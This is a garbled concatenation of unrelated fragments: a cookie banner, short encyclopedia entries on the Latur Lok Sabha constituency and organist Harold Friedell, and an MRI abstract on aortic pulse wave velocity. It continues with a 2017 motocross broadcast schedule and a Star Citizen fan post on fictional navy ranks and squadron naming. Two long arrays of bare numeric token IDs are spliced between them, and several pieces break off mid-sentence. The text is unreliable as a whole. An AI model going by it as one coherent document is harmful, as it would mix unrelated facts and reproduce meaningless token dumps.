when you return to our website and helping our team to understand which sections of the website you find most interesting and useful. You can adjust all of your cookie settings by navigating the tabs on the left hand side. 3rd Party Cookies This website uses Google Analytics and Statcounter to collect anonymous information such as the number of visitors to the site, and the most popular pages. Keeping these cookies enabled helps us to improve our website. disable Please enable Strictly Necessary Cookies first so that we can save your preferences! Additional Cookies This website uses the following additional cookies: Adsense, AddThis and YouTube. disable Please enable Strictly Necessary Cookies first so that we can save your preferences!Latur (Lok Sabha constituency) Latur Lok Sabha constituency is one of the 48 Lok Sabha (parliamentary) constituencies of Maharashtra state in western India. Assembly segments Presently, after the implementation of delimitation of the parliamentary constituencies in 2008, Latur Lok Sabha constituency comprises the following six Vidhan Sabha (Legislative Assembly) segments: Members of Parliament 1952-61: Constituency does not exist Key Election results General elections 2004 General elections 2009 General elections 2014 General elections 2019 Notes External links Latur lok sabha constituency election 2019 results details Category:Lok Sabha constituencies in Maharashtra Category:Latur district Category:Politics of Nanded districtHarold Friedell Harold Friedell (11 May 1905 – 17 February 1958) was an American organist. He was well known as a performer and educator, teaching at Juilliard and Union Seminary, a composer of a large number of choral anthems and solo organ pieces, and as a prominent leader in the American Guild of Organists. Life and career Harold Friedell was born in Jamaica, Queens, New York. At age sixteen, he became the organist of First United Methodist Episcopal Church in Jamaica, Queens, while studying organ with Clement Gale and David McK. Williams. Seven years later, in 1927, he was appointed Organist at Calvary Church, New York, and he also worked at St. James the Less, Scarsdale training a boys and girls choir on weekdays and playing for Sunday afternoon services. In 1929, he earned the FAGO diploma from the American Guild of Organists, its highest designation, while he continued to study at Juilliard School under Bernard Wagenaar and Roger Sessions. In 1931, Friedell was appointed Organist and Choirmaster at St. John's Church, Jersey City, New Jersey, and the next year, 1932, he married Muriel Healy on June 26 in the chapel of St. Bartholomew's Church. Unfortunately, Muriel died just six months later on December 29. Friedell later remarried in 1934 to Amy Valleau McGown in St. John's Church, and in that same year became the accompanist to the Downtown Glee Club and a regularly featured recitalist at Trinity Church. Friedell returned to Calvary Church in 1939,
[ 285, 23000, 21191, 33009, 253, 19561, 16317, 35688, 313, 19, 481, 367, 15748, 5149, 7602, 313, 49, 34772, 10, 310, 3413, 432, 253, 18634, 273, 253, 2614, 2685, 7602, 13, 2931, 432, 253, 7602, 14, 2606, 9191, 5950, 387, 8593, 337, 285, 374, 313, 35, 481, 367, 34772, 310, 2931, 347, 13803, 89, 16, 12507, 85, 13, 342, 13803, 89, 253, 1854, 2978, 2112, 253, 4055, 1282, 273, 253, 35688, 432, 6887, 337, 281, 374, 285, 13803, 85, 253, 18622, 673, 323, 253, 3174, 273, 253, 7602, 5149, 281, 38500, 432, 6887, 337, 281, 374, 5774, 1010, 1237, 14, 34637, 57, 14, 1036, 14, 52, 18, 14, 49, 18146, 14, 18, 4253, 39, 18, 94, 187, 187, 15568, 187, 6877, 187, 187, 25438, 1363, 6289, 323, 10177, 14478, 285, 3578, 5875, 15986, 1561, 2074, 2363, 2491, 313, 10722, 2363, 4567, 3279, 1638, 1107, 10, 497, 44045, 2908, 15, 367, 34772, 369, 7515, 432, 7602, 10603, 970, 16197, 14478, 327, 495, 53, 14478, 313, 688, 1541, 571, 13, 6778, 2824, 10, 342, 7602, 7340, 273, 7783, 7892, 16, 84, 15, 19039, 367, 34772, 313, 49, 34772, 709, 10, 369, 6786, 432, 16197, 14478, 342, 13493, 1180, 273, 25578, 12475, 313, 53, 373, 426, 608, 13818, 481, 380, 1055, 273, 11935, 308, 373, 327, 367, 34772, 369, 6760, 407, 11935, 1066, 48027, 313, 1235, 6, 905, 53, 373, 426, 884, 13818, 5290, 9963, 6, 905, 53, 373, 426, 1458, 13818, 5290, 6879, 6, 905, 53, 373, 426, 1384, 13818, 5290, 285, 5096, 6, 905, 53, 373, 426, 2030, 13818, 9014, 806, 407, 8493, 12475, 1309, 6015, 14433, 273, 253, 3236, 9288, 1029, 14, 46258, 941, 15, 10209, 13, 1066, 48027, 369, 2684, 407, 941, 8570, 347, 973, 347, 407, 941, 25001, 432, 253, 3806, 367, 34772, 941, 873, 15, 6610, 13, 436, 369, 2429, 281, 367, 34772, 432, 6015, 13733, 342, 11052, 308, 373, 281, 7472, 253, 1055, 273, 25258, 9522, 7629, 275, 5019, 342, 11935, 1066, 48027, 15, 29666, 10698, 3910, 313, 51, 7273, 84, 10, 342, 1675, 281, 367, 34772, 709, 497, 5118, 323, 1066, 22163, 6216, 941, 15, 187, 187, 9340, 187, 6877, 187, 187, 2841, 544, 19, 1084, 39, 19, 910, 709, 14, 881, 568, 926, 986, 2722, 326, 1599, 416, 7273, 275, 367, 34772, 588, 2572, 323, 11052, 308, 373, 27, 323, 308, 373, 426, 884, 13818, 13, 1599, 416, 7273, 369, 374, 6, 323, 1066, 48027, 407, 6015, 14433, 13, 495, 6, 323, 941, 8570, 13, 608, 6, 323, 941, 25001, 285, 898, 6, 323, 6015, 13733, 15, 1198, 308, 373, 426, 2030, 13818, 13, 416, 7273, 84, 2559, 281, 884, 6, 323, 6015, 14433, 13, 1903, 6, 323, 1097, 941, 8570, 347, 973, 347, 941, 25001, 285, 1722, 6, 323, 6015, 13733, 15, 1720, 31598, 13733, 4950, 247, 13424, 7629, 275, 367, 34772, 273, 598, 281, 818, 5294, 327, 1755, 273, 3629, 2228, 407, 11935, 1066, 48027, 15, 1198, 6015, 14433, 13, 308, 373, 273, 1384, 13818, 390, 2406, 310, 2424, 323, 416, 7273, 417, 27433, 818, 7739, 187, 187, 22367, 29030, 10698, 3064, 313, 51, 7273, 10, 275, 22678, 4222, 10724, 5149, 7602, 432, 7602, 14, 36034, 14478, 846, 11935, 1066, 48027, 13, 342, 1675, 281, 367, 34772, 14, 515, 18114, 342, 13493, 11935, 6064, 313, 49, 34772, 709, 4846, 15, 9792, 48027, 313, 1235, 6, 905, 53, 373, 426, 884, 13818, 5290, 9963, 6, 905, 53, 373, 426, 1458, 13818, 5290, 6879, 6, 905, 53, 373, 426, 1384, 13818, 5290, 285, 5096, 6, 905, 53, 373, 426, 2030, 13818, 3851, 369, 806, 6786, 407, 6015, 14433, 273, 253, 3236, 9288, 14478, 941, 323, 367, 34772, 709, 15, 5220, 1066, 48027, 369, 6786, 407, 941, 8570, 347, 973, 347, 407, 941, 25001, 432, 253, 3806, 367, 34772, 941, 873, 15, 6610, 13, 1066, 48027, 369, 6786, 407, 6015, 13733, 15, 11759, 8965, 1957, 2629, 11254, 275, 416, 7273, 5774, 1010, 1237, 14, 34637, 57, 14, 1036, 14, 52, 18, 14, 49, 18146, 14, 19, 4253, 39, 19, 94, 187, 187, 22807, 187, 15765, 187, 187, 9083, 8673, 2544, 9569, 598, 281, 818, 6, 7629, 275, 367, 34772, 15, 2091, 6941, 1679, 685, 818, 6, 2228, 275, 367, 34772, 6803, 13, 308, 373, 273, 387, 1878, 1384, 13818, 310, 2424, 15, 4410, 32578, 308, 373, 275, 19403, 36958, 14, 27189, 16197, 14478, 1057, 417, 2723, 342, 941, 8570, 390, 25001, 273, 1029, 14, 46258, 16197, 14478, 941, 15, 187, 187, 29610, 187, 6877, 187, 187, 7834, 273, 436, 2561, 369, 14597, 407, 271, 49795, 4098, 2530, 407, 3196, 15, 416, 7566, 40524, 358, 78, 15, 187, 5498, 626, 2985, 253, 7315, 390, 3909, 7031, 273, 253, 1249, 394, 285, 2457, 3790, 273, 253, 4240, 22838, 17226, 1294, 9849, 406, 1350, 11218, 13, 253, 2828, 74, 15634, 2146, 49937, 17826, 1342, 3313, 15, 5057, 253, 1408, 3487, 2708, 327, 849, 281, 3698, 4426, 13783, 285, 512, 1740, 1733, 375, 327, 7814, 13, 4223, 3436, 15, 187, 187, 45, 10579, 1719, 473, 3077, 25382, 353, 21667, 1311, 17790, 187, 187, 12101, 32946, 187, 187, 51, 15289, 1249, 1040, 17826, 1342, 1040, 33330, 84, 6169, 13, 22162, 7023, 13, 4223, 3436, 187, 187, 15645, 4889, 10257, 353, 21667, 337, 428, 337, 27, 361, 268, 15, 78, 15, 29511, 428, 353, 5851, 12101, 187, 187, 10758, 969, 436, 807, 13, 353, 5851, 12101, 588, 2329, 253, 806, 1733, 375, 432, 512, 1249, 16334, 3153, 15, 7890, 253, 353, 5851, 12101, 5048, 47135, 281, 923, 604, 368, 4390, 755, 353, 5851, 12101, 15, 1422, 476, 671, 897, 326, 3048, 281, 2748, 326, 634, 10856, 11716, 4459, 353, 5851, 12101, 604, 597, 4390, 513, 417, 15, 12092, 285, 10112, 281, 436, 2129, 457, 84, 41860, 273, 418, 410, 42489, 13, 776, 13772, 4735, 835, 359, 2312, 562, 7794, 273, 253, 8141, 47422, 10325, 342, 368, 13, 253, 3114, 15, 1284, 1900, 13, 4496, 7279, 253, 806, 2523, 323, 253, 15985, 1832, 285, 4859, 281, 4114, 2144, 281, 923, 752, 457, 84, 2168, 644, 4232, 15, 187, 187, 1848, 20027, 187, 187, 2214, 253, 2469, 1643, 3618, 13, 359, 452, 644, 4882, 1475, 342, 36365, 11057, 272, 15, 2064, 9400, 556, 11848, 715, 271, 17947, 715, 849, 253, 13669, 3139, 310, 10932, 285, 253, 1180, 272, 2718, 3206, 15, 187, 187, 2512, 369, 247, 2257, 273, 5955, 5001, 253, 26086, 273, 253, 20818, 1561, 253, 40294, 13, 5742, 970, 253, 5841, 525, 273, 253, 19947, 5908, 281, 4271, 253, 8630, 15, 309, 457, 78, 4983, 281, 5194, 326, 352, 1537, 320, 1077, 21643, 281, 2096, 665, 310, 665, 13, 3782, 672, 20818, 432, 2709, 11811, 403, 275, 253, 1072, 6680, 15, 3900, 253, 5841, 525, 1537, 320, 247, 4451, 21674, 13, 247, 11572, 476, 20786, 266, 642, 3081, 1491, 432, 352, 15, 187, 187, 2512, 369, 247, 14876, 281, 564, 896, 281, 247, 3295, 14, 22257, 985, 13, 534, 651, 320, 13103, 816, 281, 320, 2104, 281, 1333, 773, 10252, 14, 25438, 6306, 407, 1806, 533, 352, 9193, 751, 368, 651, 1408, 562, 273, 9830, 1077, 4541, 604, 326, 369, 634, 760, 15301, 15, 187, 187, 17756, 13, 309, 1804, 767, 4610, 27, 187, 187, 18, 15, 15397, 281, 9067, 88, 250, 4584, 457, 84, 14876, 13, 253, 8630, 310, 1929, 347, 27, 36365, 1852, 14, 2641, 251, 1999, 1219, 24656, 14, 52, 1456, 1852, 15, 1893, 253, 7002, 6215, 275, 11487, 2109, 36365, 16955, 29726, 651, 320, 773, 45255, 14, 14039, 668, 604, 597, 457, 250, 327, 247, 7517, 342, 816, 616, 40294, 285, 11487, 14, 45255, 14, 14039, 604, 352, 457, 84, 247, 1943, 4471, 14, 84, 3362, 1406, 270, 50027, 15, 187, 187, 19, 15, 32415, 253, 1072, 985, 533, 342, 9830, 3185, 273, 253, 1777, 251, 1999, 1219, 24656, 13, 594, 3185, 273, 773, 45255, 14, 14039, 668, 352, 651, 320, 773, 22526, 14, 14039, 668, 390, 773, 3507, 14, 22526, 14, 14039, 1425, 187, 187, 1466, 457, 84, 1379, 247, 1007, 387, 247, 2457, 3630, 14, 484, 273, 253, 3426, 2605, 347, 352, 4390, 9572, 27, 187, 187, 54, 5607, 49412, 58, 35286, 15051, 2637, 708, 4145, 39845, 18769, 6570, 187, 187, 4943, 310, 253, 2685, 273, 3923, 347, 973, 347, 253, 2605, 16, 6292, 272, 29793, 323, 1016, 1268, 273, 253, 13669, 15, 187, 187, 2894, 10810, 26573, 187, 187, 22893, 273, 253, 530, 5607, 15, 187, 187, 41, 15, 36, 15, 12838, 29244, 3016, 49412, 42, 5529, 313, 41, 30292, 19527, 10, 187, 187, 510, 4585, 19947, 3558, 273, 253, 13669, 285, 6125, 253, 7789, 275, 253, 2208, 15, 754, 390, 703, 44682, 3646, 625, 685, 15942, 1453, 15, 187, 187, 6217, 5543, 5446, 46, 3027, 1556, 187, 187, 34, 16782, 285, 253, 6036, 46282, 512, 14436, 715, 247, 2014, 1436, 13, 533, 342, 4583, 15942, 6265, 347, 973, 15, 187, 187, 3788, 43, 1372, 401, 1843, 45467, 187, 187, 37195, 846, 7565, 457, 84, 1030, 437, 569, 13, 1016, 18500, 310, 26814, 407, 271, 28244, 13, 665, 5012, 281, 253, 8481, 28244, 15, 187, 187, 11991, 2449, 1556, 401, 1843, 2025, 19527, 947, 187, 187, 55, 547, 28244, 665, 18182, 265, 32521, 2425, 275, 2173, 4811, 273, 253, 11432, 32521, 457, 84, 14564, 273, 24636, 15, 427, 3163, 846, 10325, 39719, 313, 74, 15, 70, 15, 47894, 18973, 13, 7565, 32521, 481, 187, 187, 22395, 28408, 25090, 9942, 2185, 3299, 187, 187, 6802, 8707, 281, 32521, 28244, 28, 436, 310, 835, 253, 5901, 24609, 313, 55, 547, 28244, 10, 273, 512, 13487, 9036, 273, 401, 15053, 651, 28932, 13, 10938, 253, 3733, 15722, 13, 689, 30546, 9363, 6095, 275, 1097, 4753, 285, 20079, 13, 285, 34018, 295, 814, 788, 25244, 281, 13487, 9036, 15, 187, 187, 4943, 403, 253, 913, 1406, 90, 983, 323, 253, 3510, 273, 2390, 27, 187, 187, 6504, 916, 45398, 1108, 8681, 187, 187, 6504, 916, 40985, 589, 1108, 32728, 187, 187, 10287, 992, 280, 40985, 589, 1108, 22051, 187, 187, 42621, 3660, 17937, 1108, 45118, 187, 187, 13422, 285, 44150, 1108, 12938, 187, 187, 9147, 1102, 16, 1785, 585, 34056, 1108, 4653, 187, 187, 35, 20905, 1843, 42370, 187, 187, 48588, 8414, 273, 337, 11505, 2639, 4586, 13, 374, 14, 21, 20748, 8707, 285, 247, 11962, 1180, 273, 1781, 46750, 16, 22032, 657, 405, 1241, 15, 7890, 3904, 323, 25344, 313, 20207, 394, 15764, 5901, 481, 2053, 403, 26814, 407, 247, 416, 613, 28244, 665, 5012, 281, 19804, 32521, 24609, 15, 187, 187, 15614, 1562, 11811, 2216, 569, 27, 187, 187, 8887, 426, 32521, 2639, 4586, 187, 187, 8887, 38, 426, 20748, 430, 2639, 4586, 187, 187, 10172, 426, 23777, 868, 1456, 187, 187, 4280, 426, 12053, 9141, 187, 187, 14922, 426, 15764, 49010, 9141, 187, 187, 11927, 426, 20593, 4926, 254, 187, 187, 3269, 426, 1879, 12894, 187, 187, 3269, 45, 426, 1879, 12894, 10315, 187, 187, 44, 426, 3094, 48359, 187, 187, 2088, 426, 26396, 187, 187, 34, 11840, 426, 40202, 254, 187, 187, 52, 8846, 2350, 27182, 52, 187, 187, 52, 3362, 9036, 403, 762, 253, 3923, 273, 253, 2639, 4586, 28139, 24609, 665, 310, 38712, 327, 253, 6253, 10289, 275, 253, 15764, 5901, 285, 5012, 281, 253, 416, 613, 28244, 15, 380, 2639, 4586, 28139, 7922, 281, 253, 6680, 1387, 10764, 253, 1180, 7922, 281, 253, 10289, 534, 42799, 432, 253, 806, 6215, 275, 253, 966, 313, 14719, 314, 3413, 582, 285, 840, 6774, 11811, 403, 31050, 32627, 15, 187, 187, 52, 3362, 9036, 403, 31050, 275, 253, 1340, 275, 534, 597, 497, 11420, 285, 2882, 273, 598, 281, 1740, 20818, 15, 22460, 13, 1016, 273, 841, 20818, 452, 2800, 11811, 13, 533, 436, 1180, 476, 10920, 6340, 1754, 327, 11659, 16, 22990, 15, 187, 187, 510, 26086, 273, 20818, 369, 6107, 275, 253, 39994, 1840, 533, 1060, 457, 84, 247, 14402, 281, 17093, 253, 2862, 985, 15, 1198, 11990, 457, 84, 13232, 13, 309, 908, 253, 806, 8630, 26086, 39212, 5125, 1840, 15, 187, 187, 2598, 627, 368, 452, 352, 15, 3900, 627, 403, 1335, 4278, 281, 15447, 562, 13, 253, 7792, 323, 247, 28901, 422, 985, 9193, 4891, 2217, 323, 2007, 4812, 2440, 15, 9375, 969, 281, 4130, 323, 634, 673, 285, 9021, 281, 1361, 15447, 436, 562, 13, 3340, 281, 399, 91, 321, 323, 521, 7680, 285, 22450, 15571, 841, 2718, 281, 479, 15, 187, 187, 45, 11156, 26564, 3077, 13635, 310, 1469, 281, 327, 14260, 3144, 275, 32470, 273, 690 ]	and additionally transects the proximal descending aorta (2). Pulse wave velocity (PWV) is determined from the propagation of the blood flow velocity, defined from the velocity-time curves recorded at locations 1 and 2 (B). PWV is defined as Δx/Δt, with Δx the path length along the centerline of the aorta from positions 1 to 2 and Δt the transit time for the foot of the velocity wave to propagate from positions 1 to 2.](1532-429X-16-S1-P167-1){#F1} Methods ======= Five patients referred for cardiac MRI and ten healthy volunteers within similar age range (mean age 32 ± 14 years) were prospectively included. PWV was assessed from velocity mapping using VE MRI on 3T MRI (Ingenia, Philips) with velocity sensitivity of 150 cm/s. Reference PWV (PWVref) was achieved from VE MRI with maximal number of reconstructed phases (Tres = 5 ms). The effect of temporal Tres on PWV was evaluated by temporal downsampling (50% \[Tres = 10 ms\], 67% \[Tres = 15 ms\], 75% \[Tres = 20 ms\], and 80% \[Tres = 25 ms\]), first by reducing phases during repeated reconstruction of the original acquired high-temporal data. Next, downsampling was performed by data removal as well as by data averaging from the reference PWV data set. Finally, this was compared to PWV from repeated scanning with decreasing Tres to evaluate the effect of physiologic variation in combination with temporal downsampling. Relative unsigned differences (RUDs) with respect to PWVref were calculated for downsampled data. Results ======= Figure [2](#F2){ref-type="fig"} shows that mean RUD in PWV will increase for decreasing Tres: for Tres = 10 ms, mean RUD was 2% for downsampling by repeated reconstruction, 3% for data removal, 5% for data averaging and 9% for repeated scanning. For Tres = 25 ms, RUDs increased to 10% for repeated reconstruction, 11% for both data removal as well as data averaging and 17% for repeated scanning. Repeated scanning revealed a physiological variation in PWV of up to 7%, on top of increasing error by temporal downsampling. For repeated reconstruction, Tres of 20 ms or lower is required for RUD not exceeding 7%. ![Relative unsigned difference (RUD) in aortic arch pulse wave velocity from velocity-encoded MRI after temporal downsampling, with respect to PWV-assessment with maximal temporal resolution (PWVref). Downsampling (50% \[Tres = 10 ms\], 67% \[Tres = 15 ms\], 75% \[Tres = 20 ms\], and 80% \[Tres = 25 ms\]) was first achieved by repeated reconstruction of the original acquired MRI data for PWVref. Also downsampling was achieved by data removal as well as by data averaging from the reference PWV data set. Finally, downsampling was achieved by repeated scanning. Error bars represent standard deviation in RUD.](1532-429X-16-S1-P167-2){#F2} Conclusions =========== Physiological changes introduce up to 7% variation in PWV. When allowing less than 7% error in PWV assessment, Tres of at least 20 ms is required. Reducing Tres in retrospective ECG-gated VE MRI does not correspond with data removal or averaging of high-temporal VE MRI data. Funding ======= Part of this research was funded by an unconditional grant provided by Dr. Rainer Bluemm. Don't miss the television or online coverage of the 12th and final round of the 2017 Lucas Oil Pro Motocross Championship, the Christi Hubler Chevrolet Ironman National. Get the rundown below on how to watch qualifiers and all four motos on Saturday, August 26. LUCAS OIL PRO MOTOCROSS TV Schedule ROUND 12 \| Ironman \| Crawfordsville, INSaturday, August 26 450 AND 250 MOTO 1 - 1:00 p.m. EST - MAVTV Once again this year, MAVTV will air the first motos from all 12 rounds live. Use the MAVTV channel finder to see if you currently get MAVTV. You can also use that link to request that your cable provider carry MAVTV if they currently do not.Hello and welcome to this week’s installment of Lore Builder, our weekly feature where we talk out aspects of the Star Citizen universe with you, the community. As always, please consult the first issue for the caveats and links to background material to see what’s already been established. RECAP For the past few weeks, we have been playing around with Squadron Numbering. That topic has expanded into an exploration into how the Navy itself is organized and the numbering systems involved. There was a lot of discussion regarding the naming of the flights within the squadron, specifically using the callsign of the ranking officer to identify the flight. I’m starting to agree that it might be very confusing to understand who is who, particularly when flights from multiple ships are in the same battle. While the callsign might be a unique identifier, a pilot can glean no additional information from it. There was a suggestion to go back to a color-coding system, which would be awesome just to be able to say “Red-Five standing by,” but it feels like you would run out of colors very quickly if that was your only indicator. Therefore, I suggest two options: 1. Similar to Homewreaker’s suggestion, the flight is known as: Squadron #-Phonetic Alphabet-Ship #. So the fourth ship in 82nd Squadron Charlie Flight would be “Charlie-Four” if they’re on a mission with just their squadron and 82-Charlie-Four if it’s a big multi-squadron brawl. 2. Basically the same system but with colors instead of the Phonetic Alphabet, so instead of “Charlie-Four” it would be “Gold-Four” or “82-Gold-Four.” Let’s take a look at a final write-up of the complete structure as it currently stands: UEE NAVY NUMBERING & ORGANIZATION Here is the flow of command as well as the structure/naming conventions for each level of the Navy. IMPERATOR Head of the UEE. H.C. LEGATUS NAVIUM (HIGH COMMAND) The highest ranking member of the Navy and represents the branch in the government. He or she dictates policy more than operational control. GRAND ADMIRAL A chairman and the joint chiefs all rolled into a single person, but with overall operational authority as well. MAJOR FLEETS Named after Earth’s constellations, each fleet is commanded by an Admiral, who reports to the Grand Admiral. REGIONAL FLEET COMMANDER Vice Admiral who oversees Fleet activity in specific regions of the Major Fleet’s Area of Operation. Named after universe landmarks (i.e. Gamma Region, Earth Fleet). SPECIALTY GROUPS Reports to Fleet Admiral; this is where the Group Commander (Vice Admiral) of all squadrons of Fighters would reside, controlling the training pipeline, overseeing maintenance requirements in both materials and credits, and assigning nugget pilots to squadrons. Here are the acronyms for the types of groups: Intercept Fighter – IF Intercept Bomber – IB Strategic Bomber – SB Electronic Warfare – EW Search and Rescue – SR Patrol/Reconnaissance – PR BATTLE GROUP Usually consists of 1 Main Carrier, 2-4 Escorts and a varying number of large Combat/Support Vessels. Use numbers for designation (312th Battle Group). These are commanded by a Rear Admiral who reports to Regional Fleet Commander. Capital ships designations: CV = Fleet Carrier CVE = Escort Carrier BB = Battleship CA = Cruiser CB = Battlecruiser DD = Destroyer FF = Frigate FFL = Frigate Light K = Corvette AP = Transport AOG = Tanker SQUADRONS Squadrons are under the command of the Carrier Wing Commander who is stationed on the largest carrier in the Battle Group and reports to the Rear Admiral. The Carrier Wing assigned to the battle group shares the number assigned to the carrier which originates from the first ship in the class (randomly determined), and then subsequent ships are numbered sequentially. Squadrons are numbered in the order in which they were founded and consist of up to four flights. Typically, each of these flights have six ships, but this number can fluctuate based on availability/need. The naming of flights was covered in the recap above but here’s a pic to illustrate the entire system. For ease’s sake, I used the first flight naming mechanic suggested above. So there you have it. While there are still details to flesh out, the framework for a cohesive system feels solid enough for further internal development. Thanks again to everyone for your time and contributions to help flesh this out, especially to Dzur for his contribution and patience explaining these systems to me. LORE BUILDER is going to on hiatus in lieu of some
[ 6705, 187, 17, 6705, 15, 8551, 6705, 187, 18, 6705, 15, 8551, 6705, 187, 19, 6705, 15, 8551, 6705, 187, 20, 6705, 15, 8551, 6705, 187, 21, 6705, 15, 8551, 6705, 187, 22, 6705, 15, 8551, 6705, 187, 23, 6705, 15, 8551, 6705, 187, 24, 6705, 15, 8551, 6705, 187, 25, 6705, 15, 8551, 6705, 187, 26, 6705, 15, 8551, 6705, 187, 740, 6705, 15, 8551, 6705, 187, 883, 6705, 15, 8551, 6705, 187, 805, 6705, 15, 8551, 6705, 187, 1012, 6705, 15, 8551, 6705, 187, 1047, 6705, 15, 8551, 6705, 187, 1010, 6705, 15, 8551, 6705, 187, 1036, 6705, 15, 8551, 6705, 187, 1166, 6705, 15, 8551, 6705, 187, 1093, 6705, 15, 8551, 6705, 187, 746, 6705, 15, 8551, 6705, 187, 938, 6705, 15, 8551, 6705, 187, 1797, 6705, 15, 8551, 6705, 187, 1423, 6705, 15, 8551, 6705, 187, 1508, 6705, 15, 8551, 6705, 187, 1348, 6705, 15, 8551, 6705, 187, 1099, 6705, 15, 8551, 6705, 187, 1731, 6705, 15, 8551, 6705, 187, 1630, 6705, 15, 8551, 6705, 187, 1619, 6705, 15, 8551, 6705, 187, 1717, 6705, 15, 8551, 6705, 187, 1229, 6705, 15, 8551, 6705, 187, 2405, 6705, 15, 8551, 6705, 187, 1237, 6705, 15, 8551, 6705, 187, 1610, 6705, 15, 8551, 6705, 187, 1706, 6705, 15, 8551, 6705, 187, 1671, 6705, 15, 8551, 6705, 187, 1812, 6705, 15, 8551, 6705, 187, 1787, 6705, 15, 8551, 6705, 187, 1839, 6705, 15, 8551, 6705, 187, 1867, 6705, 15, 8551, 6705, 187, 1449, 6705, 15, 8551, 6705, 187, 3156, 6705, 15, 8551, 6705, 187, 2945, 6705, 15, 8551, 6705, 187, 3079, 6705, 15, 8551, 6705, 187, 2031, 6705, 15, 8551, 6705, 187, 1857, 6705, 15, 8551, 6705, 187, 2950, 6705, 15, 8551, 6705, 187, 2504, 6705, 15, 8551, 6705, 187, 2385, 6705, 15, 8551, 6705, 187, 2537, 6705, 15, 8551, 6705, 187, 1235, 6705, 15, 8551, 6705, 187, 3712, 6705, 15, 8551, 6705, 187, 3583, 6705, 15, 8551, 6705, 187, 3357, 6705, 15, 8551, 6705, 187, 3439, 6705, 15, 8551, 6705, 187, 2417, 6705, 15, 8551, 6705, 187, 3208, 6705, 15, 8551, 6705, 187, 3011, 6705, 15, 8551, 6705, 187, 3680, 6705, 15, 8551, 6705, 187, 3046, 6705, 15, 8551, 6705, 187, 1549, 6705, 15, 8551, 6705, 187, 3832, 6705, 15, 8551, 6705, 187, 3763, 6705, 15, 8551, 6705, 187, 3571, 6705, 15, 8551, 6705, 187, 5, 187, 187, 2214, 747, 2127, 390, 747, 9363, 13, 368, 943, 760, 897, 253, 795, 24335, 9508, 15, 209, 187, 2214, 2007, 6667, 273, 253, 10393, 273, 253, 8989, 4764, 13, 3730, 281, 436, 5311, 535, 187, 21317, 401, 15, 4727, 15, 19, 69, 25098, 313, 9755, 10, 187, 17643, 5214, 59, 43578, 4280, 12056, 13, 1162, 355, 904, 12601, 13, 187, 87, 15, 187, 19805, 45, 1539, 46184, 1372, 26573, 9785, 13, 21346, 15, 285, 353, 24107, 18033, 33367, 13, 3690, 15, 12254, 15, 187, 34, 10981, 28945, 466, 33338, 356, 13, 1162, 355, 904, 12601, 13, 187, 87, 15, 187, 38, 251, 40840, 45214, 13, 3690, 904, 8167, 15, 187, 688, 294, 30542, 554, 5744, 1306, 11754, 26775, 5538, 187, 45433, 15, 7449, 21352, 15, 9963, 2537, 9, 4449, 43, 582, 7449, 21352, 15, 818, 37687, 9, 4449, 43, 481, 353, 14, 1797, 14, 3593, 13, 353, 6721, 1249, 4739, 15, 187, 11586, 2077, 4412, 2111, 13, 322, 15, 37, 15, 1457, 2816, 15, 187, 6791, 3127, 13, 6469, 15, 187, 187, 2795, 26995, 4889, 19140, 187, 43, 1139, 1410, 13, 4412, 6798, 15, 187, 36645, 13, 329, 10981, 59, 257, 30692, 12056, 13, 28945, 466, 33338, 356, 292, 30815, 282, 13, 611, 6159, 14, 38, 14, 29228, 13, 611, 6159, 3690, 904, 285, 329, 10981, 59, 257, 30692, 13, 20590, 13, 313, 23865, 1242, 346, 34, 10981, 8375, 7703, 3553, 281, 15026, 616, 5833, 1411, 7159, 353, 24107, 31497, 3690, 904, 285, 353, 24107, 18033, 33367, 13, 3690, 15, 313, 23865, 1242, 346, 46, 24107, 2807, 281, 823, 444, 3241, 306, 3277, 303, 3737, 322, 15, 34, 15, 5550, 38, 3241, 306, 3277, 303, 3737, 2807, 285, 31497, 3196, 15, 444, 3241, 306, 322, 15, 34, 5550, 48111, 15829, 3196, 15, 444, 3241, 306, 8375, 313, 23865, 1242, 346, 38, 3241, 306, 2807, 347, 7159, 10145, 273, 24635, 29157, 273, 530, 15, 52, 11754, 1621, 15, 577, 13, 24, 2691, 13, 18550, 5550, 783, 686, 18550, 9469, 2807, 285, 530, 15, 52, 15, 11754, 1621, 15, 577, 13, 35866, 13, 17569, 5550, 783, 686, 17569, 9469, 6788, 22300, 13, 329, 10981, 14993, 281, 15026, 697, 5833, 1411, 3257, 444, 251, 40840, 45214, 3690, 15, 5550, 38, 251, 2807, 281, 823, 48927, 267, 13145, 5550, 35348, 267, 2807, 285, 329, 16, 52, 21430, 34, 15162, 11698, 1886, 17287, 16409, 5550, 7538, 34, 2807, 347, 7159, 10145, 273, 29157, 273, 253, 686, 18550, 285, 686, 17569, 21410, 15, 1198, 253, 4606, 281, 956, 13, 329, 10981, 434, 3200, 475, 21866, 281, 15026, 342, 1675, 281, 253, 353, 24107, 285, 444, 251, 14672, 310, 5868, 15, 187, 187, 25292, 33439, 187, 6872, 5231, 14588, 281, 329, 10981, 434, 21410, 323, 4653, 3077, 48, 20869, 8942, 13, 247, 19267, 1885, 326, 21425, 253, 3275, 273, 3527, 275, 253, 12607, 15, 380, 1246, 9474, 447, 3407, 672, 7159, 23274, 329, 10981, 326, 597, 574, 9262, 281, 253, 21172, 3506, 22966, 4215, 1457, 16686, 27492, 5550, 5543, 1909, 2807, 8445, 9612, 281, 6833, 247, 12314, 2715, 273, 329, 10981, 434, 4653, 3077, 48, 20869, 8942, 15, 496, 2380, 281, 253, 27833, 13, 329, 10981, 4724, 247, 5833, 1411, 444, 251, 327, 2552, 1458, 13, 5307, 285, 247, 5833, 1411, 353, 24107, 327, 4397, 854, 13, 5307, 15, 9240, 14672, 21244, 326, 444, 8885, 285, 353, 24107, 434, 2933, 4877, 48174, 19419, 29157, 273, 329, 10981, 434, 686, 18550, 285, 686, 17569, 21410, 4681, 18, 62, 29600, 275, 841, 2219, 369, 33114, 1078, 253, 10396, 10718, 327, 4565, 374, 13, 6752, 5277, 5512, 2800, 2607, 323, 12240, 273, 958, 8900, 432, 253, 2620, 7159, 15, 187, 34, 10981, 5608, 3389, 9762, 327, 353, 24107, 285, 444, 251, 327, 4565, 2145, 13, 6752, 275, 1635, 281, 247, 2748, 326, 353, 24107, 4711, 7177, 432, 253, 4367, 273, 444, 3241, 306, 3277, 303, 3737, 285, 31497, 3196, 15, 444, 3241, 306, 13, 285, 247, 2748, 326, 444, 251, 4711, 7177, 432, 253, 4367, 273, 48927, 267, 285, 21430, 34, 15, 353, 24107, 5868, 13555, 285, 1453, 689, 253, 444, 3241, 306, 7177, 285, 8191, 329, 10981, 326, 352, 651, 2085, 690, 7177, 2905, 281, 353, 24107, 434, 2933, 4877, 3580, 15, 444, 251, 21223, 